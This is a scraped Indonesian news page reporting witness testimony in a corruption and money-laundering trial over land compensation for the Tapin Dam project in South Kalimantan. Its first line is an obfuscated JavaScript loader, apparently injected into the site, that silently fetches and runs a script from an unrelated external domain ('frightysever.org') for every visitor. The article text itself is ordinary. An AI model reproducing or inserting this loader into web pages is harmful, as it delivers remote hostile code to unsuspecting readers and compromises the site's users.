(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah fakta mencuat dalam sidang kasus gratifikasi dan tindak pidana pencucian uang (TPPU) pembebasan lahan mega proyek Bendungan Tapin, Provinsi Kalimantan Selatan.
Terbaru, seorang saksi bernama Rizali dihadirkan Jaksa Penuntut Umum (JPU) Kejari Tapin ke muka persidangan. Saksi Rizal dicecar pertanyaan terkait uang ratusan juta yang masuk ke rekeningnya.
Pengakuan saksi di persidangan, pada tahun 2017 dirinya didatangi terdakwa Herman bersama seorang pemilik tanah bernama Akun. Niat mereka untuk meminjam uang sebesar Rp15 juta untuk keperluan mengurus sertifikat tanah yang hilang.
“Saya dijanjikan 10% kalau cair ganti rugi lahan,” ujar saksi.
Baca juga: Diberi Nama Banjararum, Kejogya Kalsel Terima Gamelan Yogyakarta
Setelah pencarian tahun 2019 sekitar Rp400 juta untuk lahan milik Akun, saksi mengaku justru diberikan lebih dari 10% yaitu Rp80 juta. “Saya anggap itu tanam saham,” ungkapnya.
Tidak sampai disitu, tahun 2017 saksi juga mengaku pernah memberikan pinjaman kepada terdakwa Herman sebesar Rp150 juta untuk modal usaha. Tidak berselang lama uang tersebut dikembalikan dengan jumlah dua kali lipat.
“Ditransfer Rp350 juta, pinjam uang awalnya Rp150 juta. Pinjaman itu diperuntukan untuk usaha katanya,” papar Rizali di hadapan majelis hakim Pengadilan Tipikor Banjarmasin.
Baca juga: Terduga Penyulut Api Kebakaran di Kayu Tangi II Dibekuk, Ini Motifnya
Hutang Rp150 juta dan bonus Rp200 juta dari terdakwa Herman tersebut dibelikan saksi mobil dan untuk berobat adiknya yang sakit. Belakangan mobil saksi Rizal ikut disita tim penyidik Kejari Tapin saat proses penyidikan.
“Beli mobil Rp178 juta dari pembayaran hutang itu, tapi mobilnya sudah disita penyidik,” ujar saksi.
Seorang saksi lainnya bernama H Endang yang mendapat ganti rugi pembebasan lahan juga mengaku mengalami pemotongan uang ganti rugi lahan miliknya. Namun, diakuinya memang ada kesepakatan sebelumnya untuk ‘belah semangka’.
Diceritakan, awalnya tanah itu tidak masuk dalam area pembebasan dan sertifikat masih atas nama pemilik tanah semula yaitu Masrum. Lalu saksi sempat minta diuruskan kepada saksi Rizali dengan ketentuan dibagi dua atau istilah ‘belah semangka’.
Baca juga: Lewat Co-Firing, 40 PLTU Mampu Turunkan Emisi Hingga 429 Ribu Ton CO2
“2018 lalu saya serahkan sertifikat ke Kades (terdakwa Sugianor), di sana memang tidak ada diminta, tapi saya tanya apa pakai aturan Rizali belah semangka dan dikatakan iya,” ungkap saksi.
Saksi mengatakan tidak merasa keberatan saat uang ganti rugi senilai Rp1,2 miliar cair yang didapatkannya hanya sekitar Rp664 juta. Sedangkan sisanya dipotong oleh pihak lain, termasuk Masrum (asal pemilik tanah).
Lagi pula, saksi mengaku jika membeli tanah 1,5 hektare itu pada tahun 2014 hanya sebesar Rp30 juta dari Masrum dan mendapat ganti rugi Rp1,2 miliar, sehingga ia tidak merasa keberatan jika dilakukan pemotongan.
Baca juga: Delapan Pasang Naga Banjarbaru 2023 ke Babak Grand Final
Sebelumnya, tiga orang terdakwa yaitu Herman, Sugianor, dan Achmad Rizaldy didakwa menerima gratifikasi pada pembebasan lahan proyek Bendungan Tapin yang terletak di Desa Pipitak Jaya, Kecamatan Piani, Kabupaten Tapin.
Sugianor, Kades Pipitak Jaya didakwa menerima Rp 800 juta, Achmad Rizaldy Rp600 juta, dan Herman Rp945 juta.
Ketiganya didakwa dengan Pasal berlapis, pertama Pasal 12 huruf e Jo Pasal 11 Undang-undang RI Nomor 20 Tahun 2001 tentang perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberian Tipikor.
Kemudian JPU memasang Pasal 3 Jo Pasal 4 Undang-undang Nomor 8 Tahun 2010 tentang Tindak Pidana Pencucian Uang (TPPU). Khususn untuk Herman dipasang Pasal 3 dan 5 Undang-Undang TPPU.
Baca juga: 141 Talenta Banua Ikut Seleksi Timnas U-17 di Stadion Demang Lehman Martapura
Pada sidang lanjutan Senin (24/7/2023) siang juga dihadirkan 3 saksi lainnya dari unsur ASN. Mereka yaitu Muhammad Nor selaku mantan Camat Piani, Edi Sukoco dan Aris Tri Setia yang bertugas di Kanwil BPN Kalsel.
Keterangan ketiganya tidak masuk kepada pokok perkara, mereka hanya mengetahui jika proses ganti rugi lahan berjalan wajar dan tidak terdapat permasalahan.
Kecuali dikatakan M Nor pada saat pembangunan sempat ada penutupan beberapa kali oleh warga setempat karena ada lahan warga yang tidak masuk area pembebasan.
Masalah tersebut berakhir setelah pihaknya melakukan kordinasi untuk memasukan 23,4 hektare tanah warga tersebut dan akhirnya disetujui. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.